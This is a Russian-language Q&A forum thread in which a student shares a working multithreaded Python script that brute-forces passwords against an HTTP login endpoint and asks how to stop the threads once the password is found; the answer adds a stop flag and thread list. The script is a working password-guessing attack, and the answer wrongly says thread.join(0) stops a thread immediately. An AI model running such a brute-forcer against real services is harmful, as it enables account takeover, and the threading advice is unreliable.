как остановить многопоточность thread python

Для курсовой нужно было осуществить brute-forc, код полностью работает, но хотелось бы как-то остановить потоки по нормальному после нахождения пароля, а не через os._exit(1). Также пробовал через Lock и Rlock останавливает только поток, в котором нашелся пароль.

import string
import os
from itertools import *
import requests
from threading import *
from queue import Queue
THREAD_NUM = 20
ALPHABET = [ch for ch in (string.ascii_lowercase + string.digits)]
server = "http://192.168.255.255:2512/auth"
def check_auntification(passQueue:Queue):

        while not passQueue.empty():
            password = passQueue.get()

            try:

                req = requests.post(server, json = {"login": "v7", "password": password})
                print(password)

                if req.status_code == 200:
                    print(password, "ПАРОЛЬ НАЙДЕН")
                    os._exit(1)

            except:
                print(password)
                pass
bruteQueue = Queue()
n = 4
for i in range(n):
    for probablyPass in product(ALPHABET, repeat = i):
        strPass = "".join(probablyPass)
        bruteQueue.put(strPass)

for i in range(THREAD_NUM):
    th = Thread(target = check_auntification, args=(bruteQueue,))
    th.start()

Ответы (1 шт):

Автор решения: mazik7512

Чтобы иметь возможность остановить созданные потоки, вам нужно сохранить их в список (или любой другой контейнер).

Добавьте в начало вашей программы инициализацию пустого списка thread_list = []. И при запуске каждого потока добавляйте его в список:

for i in range(THREAD_NUM):
    th = Thread(target = check_auntification, args=(bruteQueue,))
    thread_list.append(th)
    th.start()

UPDATE.


Отвечая на ваш вопрос для корректного завершения потоков теперь можно написать функцию kill_all_threads() и при нахождении пароля вызывать ее, а не os.exit:

def kill_all_threads():
   for thread in thread_list:
      thread.join(0)

thread.join(0) нужен для того, чтобы поток завершался немедленно, а не ожидал завершения выполнения.

Также потребуется "примитив синхронизации", самое легкое решение это использование глобальной переменной (с помощью нее будем останавливать дальнейшие вычисления, если пароль уже найден), измените тело вашей функции check_auntification как показано ниже:

 def check_auntification(passQueue: Queue):
    global pwd_found
    pwd_found = False
    while not passQueue.empty() and not pwd_found:

Вызов функции kill_all_threads() следует осуществлять в новом потоке, т.к. остановить текущий поток из его же контекста нельзя.

if req.status_code == 200:
   pwd_found = True
   print(password, "ПАРОЛЬ НАЙДЕН")
   close_thread = Thread(target=kill_all_threads)
   close_thread.start()
   close_thread.join()
→ Ссылка